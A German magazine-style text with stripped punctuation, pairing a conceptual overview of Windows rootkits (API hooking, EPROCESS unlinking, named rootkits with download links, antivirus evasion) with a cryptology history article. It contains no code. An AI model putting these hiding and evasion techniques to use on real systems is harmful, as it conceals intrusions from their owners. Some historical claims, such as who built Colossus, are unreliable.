Windows Rootkits teilen sich generell in zwei unterschiedliche Lager auf Kernel ModeRootkits und Usermode Rootkits Um den Unterschied zu verstehen muss man wissen wieder Speicher von Windows organisiert ist Ich gehe davon aus dass das nicht jeder Leserweiss und erlaumlutere es deshalb

Windows besteht aus zwei Abteilungen einmal dem Userland und einmal dem Kernelland- das ist eine uumlbliche Praxis bei modernen Betriebsystemen bei vielen alten Computern gibtes keine solche Unterteilung und einige Handhelds wie zum Beispiel der PALM besitzen auchnur einen Speicherraum

Windows benutzt ein virtuelles Speichersystem das heisst dass die hier abgebildetenSpeicheradressen nicht physisch vorhanden sein muumlssen sie werden durch Windows inphysikalische Adressen umgesetzt

Alle Treiber und der Quellcode von Windows teilen sich den Kernelland-SpeicherbereichJeder Treiber kann also auch den Speicher von anderen Treibern und des Betriebsystemserkennen Der Kernelspeicher liegt im Bereich von 0x8000000 - 0xFFFFFFFF 2 GB die sichjeder Prozess der in diesem Speicherbereich liegt mit den anderen teilen muss JederProzess der in diesem Bereich ausgefuumlhrt wird laumluft auf dem Ring 0 des Prozessors DerAngreifer hat also alle erdenklichen Rechte und direkte Hardware-Kommunikation ist moumlglich

Bei den Userland-Prozessen sieht es allerdings gaumlnzlich anders aus Jeder Prozess besitzteinen Speicherbereich von 0x00000000 ndash 7FFFFFFF Wenn Prozess A auf Speicheradresse0x00400000 zugreift und Prozess B greift ebenfalls auf die Adresse 0x00400000 zu danngreifen die Prozesse auf zwei unterschiedliche Speicheradressen zu da Windows die virtuelleSpeicheradresse 0x00400000 bei Prozess A in eine andere physikalische Adresse umwandeltals bei Prozess B Im Normalfall kann ein Prozess keinen Speicher von anderen Prozesseneinsehen schreiben oder ausfuumlhren da dieser Speicher fuumlr den Prozess bdquonicht vorhandenldquo istJedenfalls nicht solange man (mit entsprechender Berechtigung) eine Verbindung zumentsprechenden Prozess mit der Funktion OpenProcess() angefordert hat MitCreateRemoteThread() kann dann ein eigener Thread im entsprechenden Prozeszlig eroumlffnetwerden

Und schon gar nicht darf ein Userland-Prozess auf den Kernelland-Speicherbereich zugreifen -dann klopft Windows naumlmlich auf die Fingerchen

Anmerkung Unter 64 Bit Systemen ist der Speicher grundsaumltzlich anders aufgeteilt derUserland-Prozess lebt in einem 7152 GB groszligen virtuellen Speicherbereich

Wenn Sie sich nun fragen wieso Sie soviel Speicher zur Verfuumlgung haben obwohl Sie nur 1632 64 128 256 512 oder mehr MB RAM in Ihrem Rechner haben dann lesen Sie ambesten [1] (Kommentar Ich finde den Untertitel zur Aufteilung des virtuellen Speicherssehr verwirrend - mit dem Speicherlayout verhaumllt es sich so wie hier erklaumlrt)

3 Die Standbeine heutiger Rootkits

Die Features von RKs beruhen vor allem auf drei grundlegenden Techniken

Code Injection API Hooking (Global (SYSTEM vorbehalten) und lokal im Userland) Kernelspeicher Modifkation (SYSTEM vorbehalten)

31 API Hooking

Durch das API Hooking lassen sich Funktionen (zB der WinAPI) manipulieren Eine gehookteFunktion kann zB dahingehend manipuliert werden falsche Informationen oder gefilterteInformationen zuruumlckzugeben Applikationen die auf Funktionen der WinAPI beruhenbenutzen dann also gefaumllschte Funktionen Es gibt zwei Ansaumltze API Funktionen zu hooken

bull Lokaler Hook (nur im eigenen Prozess) [1] bull Remote Hook

bull Threadspezifisch [2] bull Systemweit [3]

Es gibt einige Libraries die das Hooking von Windows Funktionen erleichtern (zB HoKo[4]Hooklib[5] Validtec SDK[6] und natuumlrlich die hauseigenen Funktionen der WinAPI [7])

Einem Userland Rootkit bleibt nur uumlbrig den threadspezifischen Hook anzuwenden (sofernkeine Tricks und Exploits benutzt werden wollenkoumlnnen) Auch wenn er sich threadspezifischnennt kann man diesen Hook natuumlrlich auf jeden Prozess zu dem das Rootkit dieentsprechende Zugriffsrechte besitzt anwenden Und somit mutiert der threadspezifischeHook fast zum systemweiten

Es gibt natuumlrlich wie immer mehrere Moumlglichkeiten wie ein Hook aussieht Kurz gefasst laumluftein solcher Hook uumlblicherweise Folgendermaszligen ab

1 Das RK alloziert Speicher im fremden Prozess und kopiert Ersatzcode in diesenSpeicher2 Das RK fuumlhrt den Code aus der die gewuumlnschten APIs im Speicher des fremdenProzesses patcht3 Sobald eine gepatchte API aufgerufen wird wird zur Ersatzfunktion gesprungen4 Eingeschleuster Code wird ausgefuumlhrt Code der vor dem Patchen der API an derEinsprungsadresse lag wird ausgefuumlhrt5 Sprung zur API (aber nicht direkt zur Einsprungadresse der API denn da liegt ja dervom Rootkit geaumlnderte Code)

Grafisch sieht das so aus

Dieser Prozess des Hookens wird sehr genau in Phrack 62[2] zum Userland RootkitNtIllusion beschrieben

4 Kernel Rootkits

Durch die Installation eines Kernel-Rootkits eroumlffnen sich andere systemuumlbergreifendeMoumlglichkeiten Hierfuumlr werden jedoch auch Systemrechte benoumltigt das heisst das Rootkitmuss ein Kernelmode-Treiber sein

Sucht man nach der Entwicklung solcher Treiber fuumlr Windows stoumlszligt man oft auf Seiten dieeinem weiszlig machen wollen man braumluchte fuumlr solch ein Vorhaben das bdquoWindows DriverDevelopment Kitldquo und Visual C Das ist falsch Mit dem bdquoMicrosoft Macro Assemblerldquo lassensich ebenfalls Kerneltreiber - mit weniger Kosten und Aufwand ndash entwickeln

Ein Treiber besteht einmal aus einem Kontrollprogramm und einmal dem Treiberprozess ansich der im Kernelmode ablaumluft Das Kontrollprogramm kann jeglicher Prozeszlig sein der vomTreiber Nutzen machen will Durch die Funktion DeviceIOControl kann mit dem Treiberkommuniziert werden dieser befindet (typischerweise) in einer Event-Schleife undverarbeitet die eingehenden Anfragen Ergebnisse werden oft in einem Pointer abgelegt dervom Kontrollprogramm abgelegt wurde Hierdurch ergaben sich schon diverser Kernel-Exploits indem ein Kernel-Speicherbereich als Pointer uumlbergeben wurde

Kernel RKs besitzen im Gegensatz zu den Userland RKs die Moumlglichkeit Kernelspeicher direktzu manipulieren Das hierdurch Systeminstabilitaumlten entstehen koumlnnen sollte klar sein Wirschauen uns mal an was passieren koumlnnten wenn ein Kernel RK versucht einen Prozess zuverstecken Dafuumlr muss aber erstmal in Erfahrung gebracht werden wie einige Teile derProzessverwaltung in Windows funktionieren

Innerhalb des Kernels liegt eine Struktur die als Prozessor Control Block bezeichnet wirdDiese Struktur beinhaltet einen Pointer auf eine Struktur die Current Thread Block genanntwird Der Current Thread Block wiederum enthaumllt eine Struktur die als KTHREAD bekannt istWeiterhin beinhaltet die KTHREAD Struktur einen Pointer auf eine EPROCESS Struktur undzwar auf die des momentan aktiven Prozesses Die EPROCESS Struktur beinhaltet Pointer aufden vorherigen und auf den nachfolgenden Prozess (alias Double Linked List)

Um das Ganze ein wenig anschaulicher zu machen hier eine erklaumlrende Grafik

Die rot gestrichelten Linien stellen den Zustand nach der Manipulation dar dh der zuversteckende Prozess wird zuerst lokalisiert und dann exkludiert indem die Pointer aufuumlbernaumlchsten und den drittletzen Eintrag zeigen

Ein Prozess der so versteckt wurde kann trotzdem weiterhin ausgefuumlhrt werden da dieAusfuumlhrung von Code innerhalb von Windows auf Threads basiert Zu Risiken undNebenwirkungen fragen Sie bitte Ihren lokalen Arzt oder Apotheker -)

5 Anti-Rootkit Tools

VICEVICE untersucht den Kernelbereich nach API Hooks und zeigt viele False Positives die aberleicht als solche identifiziert werden koumlnnen Es wurden mittlerweile Codes veroumlffentlicht diedas Erkennen der Hooks durch VICE verhindern diese wurden jedoch noch nicht in den untenaufgefuumlhrten Rootkits implementiert

SIG^2 (httpwwwsecurityorgsgcodekproccheckhtml)

Versucht versteckte Prozesse ausfindig zu machen

Patchfinder2 (httpwwwrootkitcomprojectphpid=15)Bedient sich der EPA (Excution Path Analyses) Technik um Rootkits aufzuspuumlrenLaumluft leider nur unter Windows 2000 und konnte deshalb nicht von mir getestet werden Bei der EPA-Methode wird die Ausfuumlhrungszeit von API-Calls gemessen und falls ein erheblichhoumlherer Wert auftritt wird die API als gehookt angesehen Das sich auch die EPA Methodeaushebeln laumlsst wurde schon des Oumlfteren bewiesen ein Dokument dazu finden Sie unterhttpwwwgeocitiescomembarbosabypassbypassEPApdfDie Technik wird jedoch nicht von den unten aufgefuumlhrten RKs implementiert

Klister (httpwwwrootkitcomprojectphpid=14)Liest die internen Kernelstrukturen aus und listet so alle Prozesse auch die versteckten aufKonnte es ebenfalls nicht testen da es fuumlr Windows 2000 geschrieben wurde

6 Window Rootkits

HackerDefender (httprootkithostsk)

FU Rootkit (httpswwwrootkitcomvaultfuzen_opFU_Rootkitzip)Benoumltigt Administratorrechte zur Installation und ist einfach in der BenutzungDas ProcessHide-Feature funktioniert sehr gut und basiert auf der exclude EPROCESSStructure Technik die auch oben grafisch dargestellt wurdeWeiteres Feature ist das Verstecken von Kernel-Mode Treibern und dass Prozessen beliebigeBerechtigungen zugewiesen werden koumlnnen Die Benutzung ist denkbar einfach FU bedientsich der Kernelspeicher Manipulation und bietet so einen besseren Schutz vor Erkennung Aufder Gegenseite fuumlhrt es bei mir auch zu Instabilitaumlten im System

HE4Hook (httpwwwrootkitcomvaulthoglundHe4Hook215b6zip)

Vanquish (httpswwwrootkitcomvaultxshadowvanquish-020zip)Zeichnet sich durch eine komfortable Installation aus - hierfuumlr werden wie gewoumlhnlichAdminrechte benoumltigt Es versteckt automatisch alle Dateien Registryeintraumlge und Prozessedie den String vanquish enthalten - also wundern Sie sich nicht wenn alles bdquowegldquo ist -) AlleBenutzerlogons werden mitgeloggt und in Cvanquishlog gespeichert Auf meinem WindowsXP (SP1) treten keinerlei Probleme waumlhrend der Installation auf

Die Benutzung beschraumlnkt sich auf die Installation Auswertung der Logdatei und dieDeinstallation Das Anzeigen der Logdatei funktioniert bei mir nur nachdem vanquishdeinstalliert wurde Die Deinstallation haumlngt sich auf nach einem Reboot wird vanquishjedoch nicht erneut geladen Sorgt anscheinend manchmal dafuumlr dass keine neuen Dateienmit Rechtsklick-gtNeue Datei Erstellen erzeugt werden kann

NtIllusion (httpwwwsyshellorg) Windows Open Source Userland Rootkit Wenn Sie wissen wollen wie Code Injection undlokales Hooking funktionieren sollten Sie sich den Phrack 62 Artikel zum NtIllusiondurchlesen Sehr gut dokumentierte Quellcodes und detaillierte Beschreibungen

AFX Windows Rootkit 2004 (httpwwwiamaphexnet)Zur Installation eines Rootkits kann ein simples Script geschrieben werden das ebenfallseinen Trojaner und eine Autostart Methode in die Registry einfuumlgt Durch Verschluumlsselung derrootkit binary laumlsst sich ein Entdecken durch Virenscanner vermeiden - jedoch sind mir keineTools bekannt die einen Kerneltreiber verschluumlsseln koumlnnen Diese Methode laumlsst sich alsonur fuumlr Userland Rootkits verwenden

7 Quellen und weiterfuumlhrende Informationen

[0] httpwwwrootkitcom[1] httpwwwassembly-journalcomincludegetdocphpid=244amparticle=157ampmode=pdf[2] httpwwwphrackorgshowphpp=58ampa=8[3] httpwwwsistemocomArticlesForceLibraryhtm[4] httpscifipagesatyoda9kHokoinfohtm[5] httpz0mbiehostskhknix103zip[6] httpwwwvalidteccom[7] httpmsdnmicrosoftcomlibrarydefaultaspurl=libraryen-uswinuiWinUIWindowsUserInterfaceWindowingHooksUsingHooksasp

-- Ole Elrik Loots

Kryptologie ndash Teil 2

1 Vorwort

Wie schon im vorherigen Bericht versprochen wird dieser Bericht nun fortgesetzt Dabeiwerden wir hier nun mit der Geschichte der Vigenere-Verschluumlsselung beginnen und mit derDES-Verschluumlsselung enden sodass sich die dritte Fortsetzung ganz der Loumlsung des Problemsder Schluumlsselverteilung widmen kann Wir tauchen also auch schon in die Welt dercomputerunterstuumltzten Verschluumlsselung ein Somit steht also ein langes aber nicht allzuschwieriges Programm bevor Ich habe jedoch die Ver- und Entschluumlsselung der Enigmaherausgenommen da der Bericht ansonsten zu groszlig werden wuumlrde Die sagenumwobenenEnigma werde ich aber wahrscheinlich noch einmal einen Extrabericht widmen da sie einfachzu wichtig ist und ein kleiner Teilbericht ihr nicht wuumlrdig kommen wuumlrde

2 Die Vigenere-Verschluumlsselung

Wie aus dem letzten Beitrag herausgegangen sein duumlrfte befinden sich die Kryptoanalytikermit den Kryptographen in einem immer noch andauernden Kampf Nachdem die Entschluumlsslermit der Kryptoanalyse einen uumlberwaumlltigen Sieg uumlber ihre Erzfeinde errungen hatten warennun die Kryptographen wieder an der Reihe ein neues und sicheresVerschluumlsselungsverfahren zu entwickeln Und dieses vorerst sichere Verfahren erfand derfranzoumlsische Diplomat Blaise de Vigenere (1523) im 16 Jh Es wurden zwar zuvor schondurch Johannes Trithemius (1492) einem deutschen Abt dem italienischen WissenschftlerGiovanni Porta (1535) und dem Florentiner Mathematiker Leon Battista Albertini (1404)wichtige Vorarbeiten geleistet aber erst Vigenere hat der Verschluumlsselung den letzten Schliffverliehen und somit wurde dieses Verfahren auch zurecht nach ihm benannt

Die Staumlrke dieser Verschluumlsselung liegt darin dass es nicht nur ein Geheimtextalphabet gibtsondern insgesamt 26 Aufgrund der Anordnung im Vigenere-Quadrat wird dies deutlich

Abbildung 1 Das Vignere-Quadrat

Unter einem Klartextalphabet befinden sich die 26 Geheimtextalphabete und in jedem davonsind die Buchstaben gegenuumlber dem vorhergehenden um einen verschoben So enthaumllt dieerste Zeile ein Geheimtextalphabet mit einem Caesar von 1 es koumlnnte also fuumlr eine Caesar-Verschluumlsselung verwendet werden bei der jeder Buchstabe im Klartext durch denBuchstaben ersetzt wird der eine Stelle spaumlter im Alphabet folgt Zeile 2 stellt einGeheimtextalphabet mit einer Caesar-Verschiebung von 2 dar usw Die erste Zeile desQuadrats enthaumllt die kleingeschriebenen Klarbuchstaben sodass man jeden Klarbuchstabenanhand jedes beliebigen der 26 Geheimtextalphabete in Reihe 2 verwenden kann Dann wirdder Buchstabe a als C verschluumlsselt wenn jedoch Reihe 12 benutzt wird wird a zu M

So geht der Sender nun an das Quadrat und verschluumlsselt jeden einzelnen Buchstaben miteiner anderen Zeile des Vigenere-Quadrats Wenn der Empfaumlnger die Botschaft entschluumlsselnwill muss er wissen welche Zeile fuumlr den jeweiligen Buchstaben verwendet wurde Somuumlssen sich Sender und Empfaumlnger wieder auf einen Schluumlssel einigen Dieser Schluumlssel istein Schluumlsselwort welches als erstes uumlber die zu verschluumlsselnde Nachricht geschrieben wirdWenn man nun den Text verschluumlsseln will dann ist der Buchstabe des Schluumlsselworts uumlberdem zu verschluumlsselnden Wort des Klartextes wichtig Man sucht an der Stelle desKlartextalphabets wo sich in unserem Beispiel das d befindet Nun geht man die Spalte soweit herunter bis man in den Geheimtextalphabeten das Alphabet auftacht welches mit Nbeginnt Nun schaut man sich den Buchstaben an der sich an der Schnittstelle von Spalteund Zeile befindet Dieser Buchstabe ist der mit dem das d verschluumlsselt wird Nach diesemPrinzip geht man waumlhrend der gesamten Verschluumlsselung vor und nach und nach wird derText verschluumlsselt Beispiel Schluumlsselwort N A C H T N A C H T N A C H Klartext d e r b a l l i s t r u n d Geheimtext q e t i t y l k z m e u p k Der Vorteil des Vigenere-Quadrats ist nun dass die Haumlufigkeitsanalyse auf dieses Verfahrennicht anzuwenden ist Wenn ein Kryptoanalytiker dieses Verfahren doch anwenden will wirder zunaumlchst den Buchstaben mit den meisten Haumlufigkeiten anwenden Hier waumlre es zB das tund der Analytiker ordnet das t dem e welches im deutschen Alphabet der haumlufigsteBuchstabe ist zu Aber in Wirklichkeit steht das t fuumlr zwei verschiedene Buchstaben naumlmlichfuumlr das r und das a Dass ein Buchstabe der mehrmals im Geheimtext auftaucht jeweils fuumlreinen anderen Klarbuchstaben stehen kann bereitet dem Kryptoanalytiker gewaltigeSchwierigkeiten Auszligerdem steigt die Anzahl der Klartextbuchstaben die einem Buchstabenim Geheimtext zugeordnet werden immer weiter an je groumlszliger der Text wird Ein weitererVorteil ist dass eine unglaublich groszlige Anzahl verschiedener Schluumlssel existieren da mansich einfach irgendwelche Worte ausdenken oder zB in einem Lexikon einen Namen vonirgendeinem exotischen Tier aussuchen kann Dadurch dass die Haumlufigkeitsanalyse gegendiese Art der Verschluumlsselung keine Wirkung hat haben die Kryptographen eine neuesichere Form der Verschluumlsselung entwickelt Doch da die Ver- und Entschluumlsselung vonTexten bei diesem Verfahren zu lange dauerte kam es so gut wie nie zum Einsatz Denneiner der Hauptentwickler von neuen Technologien ist auch bei der Kryptologie das MilitaumlrUnd da es noch keine Computer zur Ver- und Entschluumlsselung gab benoumltigten die Menschenvor allem in Kriegssituationen einfach zu viel Zeit Diese Art der Verschluumlsselung wird auch polyalphabetische Verschluumlsselung bezeichnet weilhier mehrere Geheimtextalphabete zur Verschluumlsselung eines einzelnen Textes verwendetwurden Die Verschluumlsselungsformen der Substitutionen hingegen werden alsmonoalphabetische Verschluumlsselungen bezeichnet da nur ein Geheimtextalphabet verwendetwurde

Doch auch die Vigenere-Verschluumlsselung bot keinen absoluten Schutz vor derEntschluumlsselung der Botschaft Zwar verzweifelten im Laufe der Zeit viele Kryptoanalytiker andieser Verschluumlsselung doch gelang es bald Charles Babbage sie zu knacken und diesesEreignis sollte neben der Entdeckung der Haumlufigkeitsanalyse im 9 Jahrhundert der groumlszligte

Durchbruch in der Geschichte der Kryptoanalyse sein (Anmerkung Ich habe diesen Teilbewusst sehr abgekuumlrzt)

Nachdem die Vigenere-Verschluumlsselung unbrauchbar gemacht wurde wurde im Laufe derZeit diese immer weiter verbessert Die Kryptographen kamen auf die Idee dass derSchluumlssel genauso lang sein muumlsste wie der zu verschluumlsselnde Text

Doch auch diese Methode war nicht wirklich sicher und wurde auch bald geknackt Doch danngegen Ende des Ersten Weltkrieges fuumlhrte der amerikanische Major Joseph Mauborgne dasKonzept eines Zufallschluumlssels ein der nicht aus erkennbaren Wortreihen sondern aus einerzufaumllligen Aufreihung von Buchstaben bestand Diese Zufallsschluumlssel sorgten imZusammenspiel mit dem Vigenere-Quadrat fuumlr ein bis dahin unerreichtes Maszlig an Sicherheitund diese Verschluumlsselung ist praktisch unknackbar Das Verschluumlsselungsverfahrenfunktioniert wie folgt Es gibt zwei identische Stapel mit sehr vielen Blaumlttern Auf jedem Blattist nun ein Zufallsschluumlssel abgedruckt und die Stapel werden nur an Sender bzw anEmpfaumlnger verteilt

Um die Botschaft zu verschluumlsseln benutze der Sender das erste Blatt des Stapels undverschluumlsselte den Klartext mit dem Vigenere-Quadrat Der Empfaumlnger der ja die gleichenBlaumltter in der gleichen Reihenfolge wie der Sender besitzt kann nun den Geheimtext ganzeinfach entschluumlsseln Fuumlr die naumlchste Nachricht wurde der naumlchste Schluumlssel auf demfolgenden Blatt verwendet Und somit wurde das One time pad erfunden Fuumlr denKryptoanalytiker ist diese Verschluumlsselung praktisch unloumlsbar Das Entschluumlsselungsverfahrenvon Babbage funktioniert hier nicht und somit versucht der Kryptoanalytiker vielleicht allemoumlglichen Schluumlssel auszuprobieren Doch dies waumlre ein unloumlsbares Unterfangen da es n^nMoumlglichkeiten gibt Doch auch wenn es irgendwie moumlglich waumlre alle Schluumlsselauszuprobieren koumlnnte er den Klartext nicht mit Gewissheit wiedergeben Denn neben derrichtigen Botschaft findet er auch alle falschen So ergeben verschiedene Schluumlssel fuumlr dengleichen Geheimtext verschiedene Klartexte

Man kann also mit Sicherheit sagen dass sie vollkommen sicher ist und zudem wird sie auchzurecht als der Heilige Gral der Kryptologie bezeichnet Die gesamte Sicherheit derVeschluumlsselung liegt bei der Zufaumllligkeit des Schluumlssels Doch wenn man jeden Tag und inKriegszeiten sind es noch mehr viele Botschaften verschicken moumlchte dann ist es schwierigeine entsprechende Menge an Zufallsschluumlssel zu erzeugen und sicher zu verteilen Und dasind wir auch schon wieder bei dem Problem mit der Schluumlsselverteilung Es mussgewaumlhrleistet werden dass die Schluumlssel sicher beim Sender und Empfaumlnger ankommen undaufbewahrt werden Wenn der Gegner diese Schluumlssel in die Finger bekommen sollte kann erdie Botschaften leicht entschluumlsseln Und dies ist im Zweiten Weltkrieg eingetreten und istvor allem den deutschen U-Booten zum Verhaumlngnis geworden

Ein weiteres Verschluumlsselungsverfahren ist die homophone Verschluumlsselung Hier wird jederBuchstabe durch einen Stellvertreter ersetzt Die Anzahl der Stellvertreter ist von derHaumlufigkeit der Buchstaben im Verhaumlltnis zueinander abhaumlngig Somit werden demBuchstaben e der im Deutschen am Haumlufigsten vorkommt die meisten Stellvertreternaumlmlich 17 Stuumlck zugeordnet Somit wird jedesmal wenn das e vorkommt dieses durcheine dem e zugeordnete zufaumlllig gewaumlhlte Zahl verschluumlsselt Alle zweistelligen Zahlen fuumlrden Klartextbuchstaben a stehen gleichsam fuumlr denselben Lauf oder Klang im Geheimtext

Daher der Name homophone Verschluumlsselung von griechisch homos gleich und phoneKlang Somit kann man den Kryptoanalytikern die hier versuchen sollten dieHaumlufigkeitsanalyse anzuwenden ein Schnippchen schlagen da jede Zahl mit einer Haumlufigkeitvon ca einem Prozent auftaucht Doch vollkommene Sicherheit bietet sie dennoch nicht DerSchwachpunkt dieser Methode ist dass unterhalb der Buchstaben bestimmte Beziehungenwie zB beim q existieren Im Deutschen steht hinter dem q eigentlich immer ein uAufgrund der Tabellen der Haumlufigkeitsanalyse kann man annehmen dass das u zu ungefaumlhrvier Prozent in deutschen Texten vorkommt Somit kann man nun nach Symbolen im Textsuchen dem insgesamt nur vier Symbole folgen

Dies laumlsst die Schlussfolgerung zu dass das erste Symbol fuumlr das q und die vier weiteren fuumlrdas u stehen Zwar ist es bei den anderen Buchstaben meist nicht so einfach aber verratensich auch durch bestimmte Beziehungen zu einander

3 Der Einzug des Computers

Ich denke dass wir nun an einem Punkt angelangt sind an dem die wichtigsten Grundlagender Kryptologie von damals bis zur Einfuumlhrung des Computers erfasst und erklaumlrt wurden Mirist schon klar dass diese Aufzaumlhlung noch sehr luumlckenhaft ist doch alle Arten der Ver- undEntschluumlsselung aufzuzaumlhlen und zu erklaumlren ist fuumlr jemanden wie mich mit diesenbescheidenen Mitteln kaum moumlglich und vorstellbar Doch vielleicht werden fehlende Kapitelspaumlter noch erweitert und wenn jemand eine wichtige Verschluumlsselung die hier nichtaufgelistet ist kennt und diese noch veroumlffentlicht sehen will dann kann er mir diese immernoch zu mailen (Adresse im Impressum) Danke

Da nahezu jede Verschluumlsselungsmethode aber schon geknackt wurde oder in der Umsetzungzu zeitaufwendig ist werden sie heutzutage zu wichtigen Verschluumlsselungen nicht mehrverwendet Klar die Transposition wird noch von vielen Menschen zum Spaszlig benutzt dochwuumlrde niemand damit freiwillig geheime Daten schuumltzen wollen Und darum moumlchte ich nunauf die Ver- und Entschluumlsselungsmethoden der heutigen Zeit eingehen und diese erklaumlrendamit sie diese verstehen und anwenden koumlnnen

Schon im Verlaufe des Zweiten Krieges wurden die ersten Maschinen entwickelt die Klartexteverschluumlsseln konnten Die bekannteste aus dieser Zeit ist wohl die schon erwaumlhnte EnigmaDoch wurden nicht nur Maschinen zum Verschluumlsseln sondern auch zum Entschluumlsselnverwendet So entwickelten die britischen Codebrecher im legendaumlren Bletchy ParkMaschinen welche mit dem Namen Bomben getauft wurden und knackten damit dieEnigma Doch noch waumlhrend des Weltkrieges wurde eine weitere viel kompliziertereMaschine gebaut die Colossus welche den sehr starken Lorenz-Chiffre den Hitler zumKommunizieren mit seinen Offizieren verwendete knackten Der Unterschied der beidenMaschinen lag darin dass die Lorenz-Verschluumlsselung zur Entschluumlsselung SuchenVergleichen statistische Aufgaben und erfahrene Urteilskraft verlangte Dies konnten dieBomben nicht leisten da sie nur eine bestimmte Aufgabe in sehr schneller Geschwindigkeitbearbeiten konnte

Der Colossus wurden von Max Newman auf den Plaumlnen von Alan Turing gebaut und konntesich verschiedenen Problemen anpassen Heute wuumlrden wir so ein Geraumlt alsprogrammierbaren Computer bezeichnen Ein weiterer Vorteil der Colossos gegenuumlber derBombe war dass sie aus elektrischen Roumlhren 1500 an der Zahl und nicht aus den viellangsameren Relais-Schaltern bestand Doch nicht nur die Geschwindigkeit machte sie souumlberlegen sondern eben auch die Tatsache dass sie programmierbar war Doch wie so vieleswurden auch alle Maschinen und Plaumlne uumlber jene ersten Computer nach dem Krieg vernichtetund die Mitarbeiter zum Stillschweigen gezwungen

Mit der Einfuumlhrung der Computer zur Ver- und Entschluumlsselung wurden dieSprachwissenschaftler endguumlltig von den Mathematikern als Kryptographen bzwKryptoanalytiker abgeloumlst und die Kryptographen erhielten in ihrem Jahrhunderte altenKampf gegen die Kryptoanalytiker eine so maumlchtige Waffe dass sie diesen schon bald fuumlrserste gewinnen sollten

Dadurch dass die Wissenschaftler aus dem Bletchy Park zum Stillschweigen verdammtwaren durften 1945 J Presper Eckert und John W Mauchly von der Universitaumlt Pennsylvaniadas Lob fuumlr den ersten Computer der ENIAC (Electronic Numerical Integrator AndCalculator) ernten Die ENIAC bestannt aus 18000 Roumlhren die 5000 Berechnungen proSekunde ausfuumlhren konnten Jahrzehntelang galt die ENIAC und nicht die Colossus alsMutter aller Computer Doch dies ist ein anderes Thema

Man kann sagen dass die Verschluumlsselung eines Klartext mit dem Computer aumlhnlich mit dem

herkoumlmmlichen Verfahren ist Es gibt nur drei gravierende Unterschiede zwischen dercomputerunterstuumltzten und der mechanischen Verschluumlsselung

1 Die mechanische Chiffriermaschine ist durch die bautechnische Moumlglichkeiten beschraumlnktwaumlhrend der Computer eine hypothetische Chriffriermaschine von immenser Komplexitaumltnachahmen kann

2 Der Computer ist einfach schneller da die Elektronik einfach schneller arbeitet alsmechanische Walzen

3 Computer arbeiten nicht mit Buchstaben des Alphabets sondern nur mit binaumlren Zahlenalso Folgen von Einsen und Nullen So wird jeder Text vor der Verschluumlsselung in Binaumlrzahlenumgewandelt Im genormten ASCII-Code wird vorgegeben welche siebenstellige Zahl fuumlrwelchen Buchstaben steht Es gibt 2^7 (128) Moumlglichkeiten um Nullen und Einsen in einersiebenstelligen Reihenfolge anzuordnen was also fuumlr die Buchstaben und Satzzeichenausreicht Wenn die Buchstaben nun umgewandelt werden kann die Verschluumlsselungbeginnen

Verschluumlsselt wird nach wie vor gemaumlszlig den altehrwuumlrdigen Grundsaumltzen der Substitution undTransposition Die Bausteine der Nachricht werden also durch andere Bausteine ersetzt oderihre Positionen werden vertauscht und in manchen Faumlllen beides zugleich JedeVerschluumlsselung wie kompliziert auch immer kann begriffen werden als Verknuumlpfung dieserbeiden einfachen Vorgaumlnge

4 DES

Im Jahre 1977 wurde durch die US-Regierung ein neues Veschluumlszligelungssystem der DataEncryption Standard (DES) eingefuumlhrt welches urspruumlnglich von der Firma IBM entwickeltwurde Nur die amerikanische Regierung kann die Erlaubnis erteilen DES in seiner gesamtenBreite zu verwenden

Im DES-Schema wird der Klartext in Form von Dualzahlen geschrieben und in Bloumlcke von jevierundsechzig Ziffern geteilt also in Ketten der Form 011001101010001101001 Hier sinddas Bloumlcke von vierundsechzig Bits Jeder dieser Bloumlcke wird einer komplizierten Prozedurunterworfen Einige Andeutungen sollen hier genuumlgen

Sender und Empfaumlnger besitzen einen Schluumlssel einen Block von sechundfuumlnfzig Bits DasDES-Verfahren stellt daraus sechzehn Teilschluumlssel mit einer Laumlnge von je achtundvierzig Bitsher Ferner besitzt das Verfahren ein Unterprogramm das einen Block der Laumlngezweiunddreiszligig Bits mit einem der genannten Teilschluumlssel so verknuumlpfen kann dass einBlock der Laumlnge zweiunddreiszligig entsteht Das aber ist nur die Vorbereitung

Das DES-Verfahren besteht nun darin dass jeder Klartextblock der Laumlnge vierundsechziggespalten wird So enstehen ein linker und ein rechter Block von jeweils zweiunddreiszligig BitsDann werden in sechzehn Runden jeweils rechter und linker Block vertauscht und immerwieder mit einem der Teilschluumlssel von achtundvierzig Bits verknuumlpft Am Schluszlig werden diebeiden nun zur Unkenntlichkeit vermischten und mit Teilschluumlsseln kombinierten Haumllftenwieder zu einem Block von vierundsechzig Bits zusammengefuumlgt Das ist jetzt derGeheimtextblock Nur mit Kenntnis des Schluumlssels kann der Entschluumlssler die einzelnenSchritte wieder ruumlckgaumlngig machen und so zum urspruumlnglichen Block gelangen

Doch selbst dieses Verfahren ist noch zu einfach da jeder Block der Laumlnge vierundsechzig aufdie gleiche Weise verschluumlsselt wird liefern gleiche Klartextbloumlcke auch gleicheGeheimtextluumlcke In einem gewissen Sinne ist das Verfahren monoalphabetisch Wennmehrere Klartexte mit dem gleichen laumlngeren Text beginnen sei es die Adresse oder dieAnrede so beginnt auch der Geheimtext mit dem gleichen Block Deshalb werden dieVierundsechzigerbloumlcke nur in der einfachsten Form des DES-Verfahrens im sogenanntenECB-Modus einzeln fuumlr sich verschluumlsselt

Ein Beispiel eines tatsaumlchlich realisierten Angriffs auf ein ECB-verschluumlsseltes Passwort sahwie folgt aus Eine durch Passwort geschuumltzte PC-Anwendung hatte sowohl den Username alsauch das Passwort in einer Datei ECB-verschluumlsselt abgespeichert Beim Aufruf desProgramms wurde immer der Username entschluumlsselt und im entsprechenden Feld derEingabemaske dargestellt waumlhrend das eingegebene Passwort nur mit dem verschluumlsseltenWert verglichen wurde Ein Angreifer kam auf die Idee die Reihenfolge der Bloumlcke in derverschluumlsselten Datei zu vertauschen Dies hatte zur Folge dass jetzt das Passwort in derEingabemaske unverschluumlsselt angezeigt wurde waumlhrend die Anwendung auf die Eingabe desUsername wartete

Um eben diese Schwaumlche des ECB-Modus auszugleichen wurden der Cipher Block Chaining(CBC)-Modus der Cipher Feedback-Modus (CFB) und der Output Feedback-Modus(OFB)entwickelt

